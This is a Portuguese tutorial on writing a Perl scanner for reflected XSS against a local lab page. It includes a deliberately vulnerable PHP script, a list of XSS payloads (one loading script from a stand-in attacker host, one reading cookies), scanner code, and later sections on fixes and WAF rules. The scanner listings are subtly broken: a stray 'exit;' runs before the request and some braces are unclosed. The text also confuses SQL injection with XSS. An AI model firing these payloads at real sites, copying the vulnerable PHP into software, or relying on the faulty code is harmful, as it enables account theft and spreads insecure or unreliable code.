SÉRIE WEBAPP PARA PENTESTER E APPSEC

COMO CRIAR SCANNERS

XSS REFLETIDO

110, 250]

"mw-indicators"> </d>

O MANUAL PASSO A PASSO

1336

de como criar seus próprios scripts para identificar e tratar vulnerabilidades

FERNANDO MENGALI

SUMÁRIO

Introdução	01
2.0 PRÉ-REQUISITOS	04
3.0 CRIANDO O LABORATÓRIO/AMBIENTE	04
3.1 CRIANDO O BANCO DE DADOS	05
4.0 CRIANDO A PÁGINA PHP VULNERÁVEL	10
5.0 A PÁGINA PHP COM O CÓDIGO VULNERÁVEL	11
6.0 SITE VULNERÁVEL	13
7.0 TEORIA: COMO DETECTAR SQL INJECTION	14
8.0 PRÁTICA: DETECTANDO XSS15	
9.0 CONSTRUÇÃO DO SCANNING	15
10.0 PERL NO LINUX	18
11.0 CODIFICANDO A FERRAMENTA DE AUTOMAÇÃO	18
12.0 IMPLEMENTAÇÕES	24
13.0 CÓDIGO COMPLETO	27
14.0 CORRIGINDO VULNERABILIDADE	31
15.0 PROTEÇÃO COM WAF MODSECURITY OU NAXSI	33
16.0 SOBRE O AUTOR	34

INTRODUÇÃO

Nesse artigo, desenvolveremos uma ferramenta com a linguagem de programação Perl que identificará páginas de internet que possuem vulnerabilidades de XSS.

Primeiro, iremos apresentar o processo de **identificação manual da vulnerabilidade de XSS**, posteriormente você aprenderá como desenvolver um **script em Perl para detectar automaticamente** esse tipo de vulnerabilidade.

Esse artigo não apresenta técnicas avançadas para o desenvolvimento do nosso script em Perl para a identificação de vulnerabilidades. Para a elaboração desse artigo, utilizamos conceitos básicos, mas eficiente para identificar vulnerabilidades de XSS, seja para um alvo específico ou vários alvos.

O conteúdo sobre como identificar vulnerabilidades de XSS nesse artigo não são equivalentes as grandes ferramentas de mercado que atendem a metodologia DAST (Dynamic application security testing).

Não ensinamos a desenvolver algoritmos sofisticados que são utilizadas pelas ferramentas de análise dinâmica disponíveis comercialmente, mas compartilhamos informações suficientes para começar a criar suas primeiras ferramentas para identificar vulnerabilidades e continuar aperfeiçoando suas técnicas de desenvolvimento de scripts de identificação de vulnerabilidades.

2.0 PRÉ-REQUISITOS

Será necessário instalar os softwares abaixo para o desenvolvimento do laboratório:

- Sistema operacional Microsoft Windows (no artigo utilizei o Windows 10)
- Download do WAMP 3.1.9: <u>https://sourceforge.net/projects/wampserver/</u>
- Download Perl: <u>https://www.activestate.com/products/activeperl/downloads/</u>

3.0 CRIANDO O LABORATÓRIO/AMBIENTE

Nessa seção instalaremos o WAMP (Apache, MySQL e PHP) no Windows. Até o desenvolvimento desse artigo, foi utilizado o **WAMP 3.1.9**.

O processo de instalação é muito simples, portanto, não abordaremos.

Vamos considerar que você concluiu a instalação do WAMP e depois de instalado, vamos prosseguir com as configurações.

Se desejar acessar somente a seção sobre o desenvolvimento do scanning em Perl, acesse a **seção 8**.

3.1 CRIANDO O BANCO DE DADOS

Acesse o phpMyAdmin: <u>http://localhost/phpmyadmin/index.php</u>

← → C () localhost/phpmyadmin/index.php	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	phpMyAdmin Bemvindo ao phpMyAdmin
	Lingua - Language Português - Portuguese
	Entrada 😡
	Palavra-passe:
	Executar

3.1.1 Por padrão, o phpMyAdmin tem o nome de usuário **root** e sem senha.

← Grvidor: MySQL:3306
🗊 Base de Dados 🗐 SQL 🚯 Estado 📧 Contas de usuário 🖾 Exportar 🐺 Ir
Definições gerais
Configurações de aspecto
 Tema: pmahomme Tamanho da fonte: 82%
hais definições

3.1.2 A próxima etapa, será criar o banco de dados.

Clique na aba **Base de Dados** para criar o banco de dados.

← 📑 Servidor: MySQ	L:3306			
Base de Dados	SQL 🚯 Estado	Contas de usuário	🛋 Exportar	👪 Importar
Base de Da	idos			
🕞 Criar base de da	ados 😡			
database	latin1 swedish	ci v Cria	ar	
Base de Dados	 Agrupamento (Collat 	ion) Acções		
information_sche	ma utf8_genera	1_ci 🔳 Verificar Privilégios		
🗆 mysql	latin1_swedis	h_ci 📑 Verificar Privilégios		
performance_sch	ema utf8_genera	1_ci 🔳 Verificar Privilégios		

3.1.3 Digite o nome do banco de dados e depois clique em **Criar**. No nosso exemplo, o nome do banco de dados é "**database**".

🛶 🗊 Servidor: MySQL:3306 » 💼 Base de Dados: database 💼 🕯											
📝 Estrutura 🗐 SQL 🔍 Pesquisar	Pesquisa por formulário	📑 Exportar	🖶 Importar	🥜 Operações	Privilégios	▼ Mais					
Annuma tabela encontrada na base de de	ados.										
Criar tabela											
Nome: users	Número de colunas: 2										
						Executar					
						=					

3.1.4 Depois de criado o banco de dados **database**, vamos criar a **tabela**. Acesse sua base de dados e depois a aba "**Estrutura**".

No campo **Nome**, digite o nome da tabela. No nosso exemplo a tabela terá o nome de "**users**".

No campo **Número** de colunas, digite a quantidade de colunas. No nosso exemplo será 2 colunas.

Depois clique em Executar.

← 🚅 Servidor. MySQ	L.3306 » 👩 Base de	Dados	database » 📷	labela: use	ars													â
🗐 Procurar 🤘	Estrutura 📔 SQ		Pesquisar	₿€ Inse	re 📑 Exporta	r 🖶	Importar 📧	Privilégie	s 🤌 Opera	ções	36 Ac	ionadores						
Table name: users				Adicio	nar 1 co	lumn(s)	Executar											
				_					Estrutura 🤢					-				
Nome	Tipo 😡		Tamanho/Valo	ores* 😡	Predefinido 😣	4	Agrupamento (C	ollation)	Atributos		Nulo	Indice		A_I Co	mentários	Virtuality	Move colu	mn
id	INT	٠	255		None	٠				۲		PRIMARY	PRIMARY				•	•
nome	VARCHAR	٠	255		None	٠		٠		۲				•			•	•
Comentários da tabel	la:		Co	llation:			Motor de arm	azename	ito: 😡									
						٠	MyISAM	•										
PARTITION definition:	c 😡																	
Partition by:	• (Expre	ssion or column	list)														
Partitions:																		
																	Pré-visualizar SQL	Guarda

3.1.5 Na coluna **Nome**, informe o nome das colunas. No exemplo será **id** e **nome**.

Na coluna **Tipo** defina o campo **id** como **INT** e o tamanho de **255**. No campo **nome**, defina o **Tipo** como **VARCHAR** e o **Tamanho 255**.

Não esqueça da coluna **índice**, será necessário definir como **PRIMARY**. Na coluna **A_I**, defina como **PRIMARY** para colunas do **id**.

Caso deseja ser mais rápido, acesse a segunda aba chamada de **SQL** e informe o código abaixo para criar sua tabela:

```
CREATE TABLE IF NOT EXISTS `users` (
  `id` int(255) NOT NULL AUTO_INCREMENT,
  `nome` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
COMMIT;
```

1	Estrutura	📄 SQL	🔍 Pesquisar	Pesquisa po	or formulário	🖶 Exportar	📑 Importar	🥜 Operações	Privilégios	Rotinas	▼ Mais
	Executa co	BLE IF NOT E tt(255) NOT F varchar(255) KEY (1d) MyISAM DEFAU	GQL na base de dao EXISTS 'users' (NULL AUTO_INCREMENT, NOT NULL, NLT CHARSET=latin1;	dos database: 🧕]						
	7										
	Clear										
	[Delimiter ;]	Mostrar de novo	aqui este comando	🗆 Retain quer	ry box					Executar

3.1.6 Depois clique em "Executar".

← 🗐 localhost x	🛛 🎯 database							
M Estrutura	📑 SQL 🔍 Pesquisar 🗊 Pesquisa por formulário							
Tabela 🔺	Acções							
users	<u> Procurar</u> 📝 Estrutura 👒 Pesquisa 👫 Insere 🚍 Limpa							
1 tabela	Soma							
▲ Todos Com os seleccionados: ▼								
🔒 Vista de impr	ressão 📰 Dicionario de dados							

3.1.7 Agora, vamos criar um usuário.

Clique na aba "Estrutura" e depois clique no link "Inserir".

Pro	ocurar	🖌 Estrutura	SQL	🔍 Pesquisar	ai Insere	Exportar	🛋 Importar	🌽 Operações	26 Acionadores
Coluna	Тіро	Funções		Nulo	Valor				
id	int(25	5)		T					
nome	varchar(255)		¥	John Doe				
								(Executar

3.1.8 Adicione o usuário John Doe e depois clique na opção "Executar".

Procurar	M Estrutura	SQL	🔍 Pesquisar	} ⊷ Insere	🔜 Ехрон	tar 📑	Impo	ortar 🧳	Operações	26 Acio	nadores		
✓ 1 linha inse Inserted row id:	rida. 1												
ia , `nome`) VALUES (NULL , 'John Doe');											•		
												[Edita][Cria	r código PHP]
Tabela 🔺	Acções					Registos		Тіро	Agrupamento ((Collation)	Tamanho	Suspenso	
users	Procurar 屋	Estrutura 👒	Pesquisar 👫 Inse	ere 层 Limpa	😂 Elimina		1	MyISAM	latin1_swedish_	ci	2 KB	-	
1 tabela	Soma						1	InnoDB	latin1_swedish	_ci	2 KB	0 Bytes	
t Todos	Com os se	eleccionados	i V										

3.1.9 O usuário foi criado com sucesso.

Pronto, concluímos todas as etapas necessárias do banco de dados! Agora, vamos para a última etapa, o desenvolvimento da página vulnerável.

4.0 CRIANDO A PÁGINA PHP VULNERÁVEL

Acesse o diretório **www** para criarmos a página em PHP. Se você utilizou a sugestão do Windows para a instalação, o caminho será **"C:\Windows\wamp64\www"**. Veja abaixo:



4.1.1 Quando você acessar o conteúdo do diretório "www", visualizará alguns arquivos.
Particularmente, eu removi todos os arquivos, deixando o diretório "www" vazio.
A remoção dos arquivos do diretório "www" é sua escolha, eu acho melhor para trabalhar.

← → ∽ ↑ 🖡 > Este Computador > Windows (C:) > wamp64 > www										
Nome	^	Data de modificação	Тіро							
🗙 index		13/11/2019 15:24	Arquivo PHP							

4.1.2 Nessa etapa iremos criar um arquivo com a extensão "**PHP**" com o nome de "**index**" no diretório "**www**".

Depois de criar a página index, iremos adicionar o conteúdo ou código PHP vulnerável na página **index.php**.

Se você não codifica em PHP, não se preocupe, abaixo apresentamos o código e depois descrevemos o funcionamento de cada linha.

5.0 A PÁGINA PHP COM O CÓDIGO VULNERÁVEL

Abaixo apresentamos o código PHP vulnerável completo:

```
<?php
if (isset($ GET['id'])){
    $id = $_GET['id']; // not santization - vulnerable
    /* Setup the connection to the database */
    $mysqli = new mysqli('localhost', 'root', '', 'database');
    /* Check connection before executing the SQL query */
    if ($mysqli->connect_errno) {
        printf("Connect failed: %s\n", $mysqli->connect_error);
        exit();
    print "Search for user id ".$id."\n";
    $sql = "SELECT username FROM users WHERE id = '$id'";
    /* Select queries return a result */
    if ($result = $mysqli->query($sql)) {
        while($obj = $result->fetch_object()){
            print($id. "User => ".$obj->username); // vulnerable
    /* If the database returns an error, print it to screen */
    elseif($mysqli->error){
        print($mysqli->error);
   else {
```

5.0.1 Você poderá copiar esse código e adicionar para a sua página index.php.Não esqueça, sua página index.php deverá estar em "C:\Windows\wamp64\www".

Essa etapa é bem simples, você não precisa ter conhecimentos de PHP para entender o código.

Se você quiser entender o código, continue lendo essa seção, pois descreverei cada linha na próxima página.

Inicialmente, nosso código receberá um parâmetro GET:

if (isset(\$_GET['id'])){
 \$id = \$_GET['id'];

5.0.2 Temos o if que valida a existência de dados ou pârametros enviados para o método GET. Se houver algum dado trafegando via GET ele entrará no commando bloco IF e será armazenado na variável **id**, mas não existe nenhuma função para sanitização.

É importante observer que a ausência da sanitização dos dados inputados via GET é totalmente proposital, pois o intuito é entendermos como funciona a exploração de XSS via dados de entrada GET. Mais adiante vamos explicar o processo de sanitização.

Vejo o exemplo de acesso a nossa página PHP via a url: http://localhost/index.php?id=1

Após recebermos o valor, iniciamos a conexão com o banco de dados "database".

Nas próximas linhas, validamos se a conexão com o banco de dados está funcionando.

```
$mysqli = new mysqli('localhost', 'root', '', 'database');
```

5.0.3 Nessa linha ocorre a conexão com o banco de dados.

A próxima etapa é validar a conexão com o banco de dados.



5.0.4 No segundo if, validamos se há problemas na conexão com o banco de dados.

Se a conexão funcionar, seguimos para a seção **5.0.5** que apresenta a consulta com o banco de dados.

Senão funcionar, tivemos um problema na conexão com o banco de dados e receberemos uma mensagem de erro.

O comando **print**, será responsável por imprimir o id do usuário a ser buscado no banco de dados ou apresentar o código JavaScript malicioso que será inserido via GET, armazenado na variável id e ao ser apresentado na linha **16**, será executado o JavaScript, resultando na execução do XSS refletido.

```
$sql = "SELECT username FROM users WHERE id = '$id'";
```

5.0.5 Nessa linha, iniciamos a consulta com o nome de usuário na tabela users.
A consulta na tabela username utilizará o campo id e o valor armazenado na variável
\$id para criar uma condição na busca.



5.0.6 Agora, utilizamos a query armazenada na variável **\$sql** no **while**. Depois, utilizamos o **fetch_object** que retorna os dados como um objeto.

Se tivermos a execução de qualquer JavaScript, será exibido o resultado da execução do script.

6.0 SITE VULNERÁVEL

Nessa seção acessaremos a página index.php vulnerável: http://localhost/index.php?id=1.

Veja o resultado no browser:



users do banco de dados.

7.0 TEORIA: COMO DETECTAR XSS

Para identificar o nosso alvo vulnerável, utilizaremos uma técnica simples, de injetar o payload ou script em JavaScript.

Na nossa URL de exemplo, a página index.php possui uma chave ou índice denominado id e um respectivo valor, o número 1.

O número 1 está associado ao nome do usuário John Doe registrado na tabela users do banco de dados.

Entendido o funcionamento para a exibição de conteúdo por meio de parâmetros com o número de id, vamos entender como funciona a detecção de XSS.

Quando um atacante deseja encontrar uma vulnerabilidade de XSS será preciso adicionar um payload.

O payload é um script em JavaScript que pode apresentar diversos tipos de estrutura e pode ser adicionado no final da URL.

O exemplo mais simples de payload é o script

'><script>alert('XSS')</script> adicionado ao final da URL:

http://localhost/page.php?id=1'><script>alert('XSS')</script>

Se a aplicação possuir alguma tipo de vulnerabilidade de XSS, o JavaScript será executado e o alerta exibido, parecido com o resultado abaixo, apresentado no browser:

A mensagem acima, significa que a aplicação possui uma falha na codificação e está vulnerável à XSS.

8.0 PRÁTICA: DETECTANDO A VULNERABILIDADE DE XSS

Agora vamos descobrir se a página está vulnerável a XSS. Para essa etapa, utilizaremos o payload " '><script>alert('XSS')</script> ".

Vejamos:

	¥
localhost diz	
XSS	
ок	

8.0.1 A página está vulnerável a XSS.

8.1 FRAMEWORK PARA TESTAR XSS

Caso você não queira criar um ambiente pronto, existem frameworks vulneráveis para interessados em aprender e aprimorar técnicas de invasão e mitigação de vulnerabilidades.

Um exemplo é o framework yrprey, totalmente gratuito e com x vulnerabilidades para ser explorado. Você pode testá-lo online pelo endereço: <u>http://yrprey.com</u>.



8.1.1 interface do yrprey.com até a elaboração desse artigo.

Abaixo, temos um exemplo de exploração da vulnerabilidade de XSS, injetando um simples JavaScript e sendo executado pela aplicação web:



8.1.2 explorando a vulnerabilidade de XSS refletido na aplicação online.

Caso queira replicar o ambiente online na sua máquina, você pode baixar a imagem completa e executá-la. A imagem do ambiente com a aplicação vulnerável está disponível para download em:



Docker/container => <u>http://docker.com</u>



VirtualBox/ snaphost => http://gihthu



Vmware/ snaphost => http://github

Você pode subir as imagens localmente na sua máquina e testar as vulnerabilidades de XSS existentes.

Entendemos como funciona a vulnerabilidade de XSS, agora desenvolveremos a ferramenta para a automatização de identificação de vulnerabilidade XSS, mas antes vamos instalar o interpretador de Perl para programar o script ou ferramenta em Perl.

9.0 CONSTRUÇÃO DO SCAN

A linguagem de desenvolvimento escolhida para o desenvolvimento do script será o Perl. Você precisará de conhecimentos de programação em Perl, pois a ferramenta terá erros propositais, ou seja, apenas desenvolvedores, analistas de seguranças e interessados com aptidões de desenvolvimento entenderão melhor o código.

9.1 BAIXANDO O PERL PARA WINDOWS

Perl			ABOUT		Ø LEARN	Docs	00 CPAN	
		Peri Download Getting started quickly						
	Peri runs on over 100 platforms! We recommend that you always run the latest stable version, currently 5.30.1. If you're running a version older than 5.8.3, you may find that the latest version of CPNN modules will not work.							
	Unix/Linux macOS			Vindows				
	Inclusied (may not be latest)	Included (may not be latest)	Si A	Windows rawberry Perl & ctiveState Perl				
	↓ GET STARTED	J GET STARTED	Ţ	GET STARTED				

9.1.1 Acesse a URL <u>https://www.perl.org/get.html</u> e escolha a plataforma que você está utilizando.

Você será redirecionado e solicitado a autenticar ou criar uma conta para baixar o Perl.

Depois de autenticado, você poderá baixar o Perl:

ActiveState	You	r Dashboard Featured Projects & Languages Dev Tools	1 v
	ActivePerl-5.2	P Fork 12 (E) Public Project	
	Overview O Configuration	Download Builds (/) Scripts ③ History ④ Project Settings	
	III Windows	Download the Windows Installer The installer will set up all the dependencies on your machine including all of the languages and packages.	
	tinux ∰	Comminad ActivePerI-5:28.1.2801-MSW/r032-x66-24563878.eve	

9.1.2 Clique no botão "Download".

9.2 OPÇÃO 2: STRAWBERRY PERL PARA WINDOWS

Outra opção é utilizar **Strawberry Perl**: http://strawberryperl.com/releases.html

ack to homep Explanat • MSI ins • ZIP edit • Portabl • PDL edit	wberr sec tory Notes taller = preferre tion = admin priv e edition = suita tition = portable e	ty Perl d way, requires admin legges not required. h ble for "perl on USB a dition + extra PDL re wnloads	Releas	SES un some post-install a rename the peri direct ternal libraries	rripts manually after unrip ory and it will still work)
Fersion	Date 1010-11	MSI edition	Portable	POL edition	ZIP edition
5.28.2.1	2019-05-02	32bit/64bit	22bit/64bit	32bit/64bit	32bit/64bit
.26.3.1	2018-12-02	32bit/64bit	32bit/sebit	32bit/64bit	S2bit/64bit
5.24.4.1	2018-04-15	32011/64011	32b11/64b11	32bit/64bit	32bit/64bit
5.22.3.1	2017-01-15	32bit/64bit	32011/64011	32011/64011	22bit/64bit
1.20.3,3	2016-03-08	32bit/64bit	22bit/#fbit	32bit/64bit	22hit/64bit
5.18.4.1	2014-10-02	32bit/64bit	32bit/64bit		32bit/64bit
5.16.3.1	2013-03-15	SIDIE/64bit	32bit/menit		22811/64911
Strawbe	rry Perl 5.	30.0.1 (2019	-05-23)		2000 1000
• May 201	9 / 5.30.0.1 / 64bi	it - <u>Release Notes</u>			
bounload				SHAT	Digest Size
SI lestaller			2ca79fb4f896	iele@elcda91el0e6e7498	47828e5 107.1 HB
OL edition			546407412364	1e298f8a7bbdb5786df41	fc704cf 178.9 HB
	100		cds71445c20f	4e00e0a9e07f656cc10a4	47A0897 155.0 HB

9.2.1 Veja a página acima.

Depois de baixar o Perl para Windows, siga os procedimentos comum de instalação no Windows:



9.2.2 O restante você já sabe.

10.0 PERL NO LINUX

Se você está utilizando uma distribuição Linux, de preferência o Kali Linux, por padrão o Perl já está instalado.

Caso você deseje verificar se o Perl está instalado, digite os comandos **perl** -help no terminal do Kali Linux:

<pre>root@kali:~# perl -</pre>	help
tolders Usage: perl [switch	es] [] [programfile] [arguments]
-O[octal]	specify record separator (\0, if no argument)
-a	autosplit mode with -n or -n (splits \$ into @F)
-C[number/list]	enables the listed Unicode features
restart-vm-	check syntax only (runs BEGIN and CHECK blocks)
-d[:debugger]	run program under debugger
-D[number/list]	set debugging flags (argument is a bit mask or alphabets)
-e program	one line of program (several -e's allowed, omit programfile)
-E program	like -e, but enables all optional features
-f	don't do \$sitelib/sitecustomize.pl at startup
-F/pattern/	<pre>split() pattern for -a switch (//'s are optional)</pre>
<pre>-i[extension]</pre>	edit <> files in place (makes backup if extension supplied)
-Idirectory	specify @INC/#include directory (several -I's allowed)
-l[octal]	enable line ending processing, specifies line terminator
-[mM][-]module	execute "use/no module" before executing program
- n	assume "while (<>) { }" loop around program
- p	assume loop like -n but print line also, like sed
- S	enable rudimentary parsing for switches after programfile
- S	look for programfile using PATH environment variable
-t	enable tainting warnings
-T	enable tainting checks
- u	dump core after parsing program
- U	allow unsate operations
-V	print version, patchlevel and license
-v[:variable]	print configuration summary (or a single config.pm variable)
- W	enable all warnings
-w	ignore text before #lner] line (ontionally of to directory)
-X[difectory]	disable all warnings
~	disable att warnings
Run 'perldoc perl'	for more help with Perl.
root@kali:~#	

11.0 CODIFICANDO A FERRAMENTA DE AUTOMAÇÃO

Nessa etapa iremos utilizar uma requisição para nossa página http://localhost/index.php?id=1.

Utilizaremos umas aspas simples e trataremos a resposta.

11.1 CLASSES DE REQUISIÇÕES

Nosso código precisará de duas classes para fazer requisições para a página com vulnerabilidade.

São elas:

- LWP::UserAgent
- HTTP::Request
- LWP::Simple0

LWP::UserAgent

É uma classe responsável por atuar como um agente, durante uma requisição ou solicitação da web. Quando uma requisição é realizada será criado um objeto LWP::UserAgent com valores padrões.

HTTP:Request

A classe HTTP::Request faz uma requisição da URL ou página web que definiremos.

Conforme apresentado acima, teremos o cabeçalho HTTP::Request no nosso código para automatizar requisições.

LWP::Simple

É uma versão simplificada da biblioteca libwww-perl. Possui várias funções e possibilita maior controle nos campos de cabeçalho.

O LWP::Simple busca rapidamente uma página e devolve a resposta. As respostas poderão ser: **is_error** ou **is_success.**

11.2 COMEÇANDO COM A CODIFICAÇÃO

Utilizando os três módulos descritos acima, poderemos adicioná-los no início do script e depois criar a estrutura de requisição em Perl para a página vulnerável.



11.2.1 Não esqueça de usar **#!/usr/bin/perl**, se estiver usando linux.

11.3 ENTRADA DE DADOS

A entrada de dados será utilizada para informar qual URL será verificada. Caso não queira informar a URL utilizando uma entrada de dados, poderá deixar o endereço de forma estática na variável.

Na **linha 7** criamos uma mensagem ou um prompt para o usuário digitar a URL.

Na linha 8 criarmos uma variável **\$url** e depois adicionamos a entrada padrão **<stdin>**.

STDIN, poderá ser substituída por <>.



11.3.1 Caso o desenvolvedor não opte por utilizar uma entrada de dados, poderá utilizar uma variável estática para armazenar a URL que será verificada, exemplo:



11.3.2 Aproveitando a variável \$url, vamos adicionar o payload em JavaScript '><script>alert('XSS')</script> ao final da url.



11.3.3 No exemplo acima, estamos armazenando o endereço da url mais a aspa simples na variável \$url.

Agora, podemos desenvolver a arquitetura da requisição:



11.3.4 A estrutura da requisição.

"Nessa etapa, exige conhecimentos de programação em Perl ou similar".

Na **linha 14** utilizamos o módulo HTTP::Request, o método GET e o endereço da URL que analisaremos a resposta.

Na **linha 16** utilizamos um UserAgent e na **linha 18** passamos um parâmetro de 15 segundos de timeout.

Na **linha 20** a variável \$resultado armazena a requisição que será executada.

Como nossa requisição acessa uma página com uma aspa simples no final da URL, teremos como resposta a execução do JavaScript.

Nessa etapa recebemos a resposta do conteúdo da página. Se o conteúdo contém *a resposta do JavaScript sem sanitizar o script injetado na variável,* a página é vulnerável!



11.3.5 Podemos adicionar outros erros para serem comparados com o conteúdo de uma página.

Embora a ferramenta tenha a feature de identificação de vulnerabilidades de XSS, pode não funcionar em determinados alvos, por causa de validação de headers como UserAgent, Cookies Custom ou outros tipos de Headers Customs, mas o conteúdo apresentado nesse documento é extremamente útil e importante para você aprender como criar seus primeiros scripts e aperfeiçoá-los.

11.4 EXEMPLOS DE PAYLOAD PARA EXPLORAR XSS

```
<svg/onload=prompt(1)>
```

```
<img src/onerror=prompt(1)>
```

```
'><script>alert('XSS')</script>
```

```
'>alert('2')</script><script/2='
```

```
<a href="javascript\x0A:javascript:alert(1)" id="code">test</a>
```

```
<xss style="xss:expression(javascript:alert(1))">
```

```
<script src=http://attacker.com/xss.js></SCRIPT>
```

```
<;img src=";javascript:alert(';Expoiting';);";>;
```

```
<img src=xss onerror=alert(1)>
```

```
<script>alert(document.cookie)</script>
```

```
<svg onload=alert`1`>
```

```
<embed src=javascript:alert(1)>
```

```
<object data=javascript:alert(2)>
```

```
<svg><script xlink:href=data:,alert(1) />
```

```
data:text/html,<script>alert(1)</script>
```

```
<svg><script xlink:href=data:,alert(1)></script>
```

```
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle
r=400 /><animate attributeName=xlink:href begin=0
from=javascript:alert(1) to=%26>
```

```
<svg xmlns="http://www.w3.org/2000/svg"
onload="alert(document.domain)"/>
```

```
"><script src=data:,alert(1)//
```

```
"><script src=data:%26comma;alert(1)-"
```

Apenas precisa ser manipulado a tratamento do response.

11.5 EXECUTANDO O SCRIPT

Esse é o resultado do script.



12.0 IMPLEMENTAÇÕES

Algumas empresas possuem diversos sistemas, portais, sites internos e externos. Podemos adicionar todas as urls em um arquivo texto e alimentar o script **tool.pl**.

No momento que o script solicita o endereço da url, podemos substituir por uma função que solicite o nome do arquivo com as urls internas ou externas a serem testadas.

Esse processo facilita a execução de verificações e economiza tempo do analista de segurança.

Não precisa executar o script várias vezes, uma única execução é o suficiente para analisar vários endereços.

Abaixo, estou apresentando um modelo de arquivo texto com as urls a serem testadas como exemplo:

Open 🔻 🖪	urls ~/		Save	= 0	•	8
<pre>http://url.com.br/index.php?id=1 http://portall.com.br/conteudo.php?id=1 http://web.portal.com.br/noticia.php?id=1 http://subdomain.domain.com.br/artigo.php?id=1 http://localhost.com.br/home.php?id=1 http://192.168.0.21.com.br/news.php?id=1 http://192.168.0.20.com.br/categoria.php?id=1</pre>						
	Plain Text 🔻 Tab	Width: 8 🔻	Ln 10, Col	1 🔻	1	NS

12.0.1 Lista de urls de sistemas, portais, sites internos e externos.



12.0.2 Na linha 10 adicione o código responsável por ler o arquivo texto com urls.

A linha 12 armazena todo o conteúdo do arquivo no array @vector.

Na linha 14 acessamos o último elemento do array.

Na linha 16 desenvolvemos um for para acessar cada linha ou url armazenado no arquivo.

Na linha 18, temos o armazenamento de cada endereço na variável \$url.

Na linha 20, temos o payload JavaScript para identificar a vulnerabilidade de XSS.



12.0.3 Na linha 22 criamos um IF, que verifica se a resposta da página possui algum erro de banco de dados. Se houve algum erro, ele apresenta a imagem "**Vulnerável**" ou senão, "**Não vulnerável**".

12.1 EXECUTANDO O SCRIPT



12.1.2 Resultado do script verificando cada url armazenada no arquivo texto.

Você poderá adicionar novos recursos no script, como Thread, crawlers de páginas etc.

13.0 CÓDIGO COMPLETO

Abaixo é apresentado ambos os códigos em Perl para testar no seu ambiente particular.

13.1 CÓDIGO COMPLETO DAS FERRAMENTAS

Nessa seção temos a ferramenta para identificar vulnerabilidades, utilizando recursos simples de um scanning de vulnerabilidade.

```
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
print "Por favor, informe a url: \n";
$url = <stdin>;
$url = "http://localhost/index.php?id=1";
$url = $url."'><script>alert('XSS')</script>";
my $requisicao=HTTP::Request->new(GET=>$url);
my $ua=LWP::UserAgent->new();
exit;
$ua->timeout(15);
my $resultado=$ua->request($requisicao);
 if ($resultado->content =~ /"XSS"/) {
   print "\n\n Vulnerable! \n\n";
 }
 else {
   print "\n\n Not vulnerable! \n\n";
 }
```

13.2 A FERRAMENTA COM IMPLEMENTAÇÕES

Nessa seção utilizamos um recurso no scanning para verificar vários IPs ou urls com vulnerabilidade de XSS.

Para fazer essa verificação será preciso somente passar ou informar um arquivo de texto com vários ips ou urls.

```
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
print "Por favor, informe a url: \n"; # informe o arquivo texto com urls
a serem analisada!
$url = <stdin>;
open( URL, "< $url" ) or die ( "Can't open file: $!");
@vector = <URL>;
$last = $#vector;
for ($i = 0; $i <= $last; $i++) {</pre>
    print "verificando => ".$vector[$i]."\n";
    $url = $vector[$i]."'><script>alert('XSS')</script>";
my $requisicao=HTTP::Request->new(GET=>$url);
my $ua=LWP::UserAgent->new();
exit;
$ua->timeout(15);
my $resultado=$ua->request($requisicao);
if ($resultado->content =~ /"XSS"/) {
    print "\n Vulnerável! \n";
else {
    print "\n Não vulnerável! \n";
```

14.0 CORRIGINDO VULNERABILIDADE

Irei demonstrar alguns tipos de proteção contra XSS numa aplicação web que possui a tecnologia PHP.

1º Validar dados de entrada

Se o dado que passa pelo parâmetro GET é inteiro, então sempre podemos validar se a variável é **int**.

```
if (isset($_GET['id'])){
    $id = $_GET['id']; // → Validando se o valor é inteiro
    $id = htmlspecialchars($id); // sanitização do conteúdo injetado
```

Validar se o dado é numérico



Recomendo criar validação de dados de entrada manualmente. Abaixo, estou compartilhando um método muito eficaz e que contempla caracteres unicodes, hexadecimais, base64 e caracteres normais.

2º Prepare a Query

Crie sua consulta usando nomes de parâmetros precedidos por dois pontos como espaços reservados

3º Crie a declaração preparada

}

\$statement = \$dbh->prepare(\$consulta);

4º Vincular os parâmetros à instrução preparada

Vincule seus parâmetros à consulta.

\$statement->bindParam(':id', \$var);

5º Fazer as consultas

\$statament->execute();

Etapa 6: buscar o resultado

\$busca = \$statement->fetchColumn();

15.0 PROTEÇÃO COM WAF MODSECURITY OU NAXSI

Nessa etapa serei bastante rápido.

Caso você tenha um WAF como o ModSecurity e deseje fornecer uma proteção adicional, recomendo adicionar a seguinte regra para prevenir seu sistema contra de ataques XSS:

https://github.com/SEC642/modsec/blob/master/rules/base_rules/mods ecurity_crs_41_xss_attacks.conf

Outro Web Application Firewall conhecido é o Naxsi, sua estrutura de regra é menor e mais simples, mas também muito eficiente durante os testes.

A regra está disponível em:

https://github.com/nbssystem/naxsi/blob/master/naxsi_config/naxsi_core.rules_

Ambos Werb Application firewall trabalharão como um paliativo, cujo intuito é impedir que querys associados a XSS possam surtir efeito no sistema web atacado.

Ressaltando a melhor recomendação é a correção das vulnerabilidades, mencionado na seção 14.0 desse artigo.

16.0 SOBRE O AUTOR

Paper criado por Fernando Mengali no dia 03 de março de 2025.

LinkedIn: https://www.linkedin.com/in/fernando-mengali-273504142/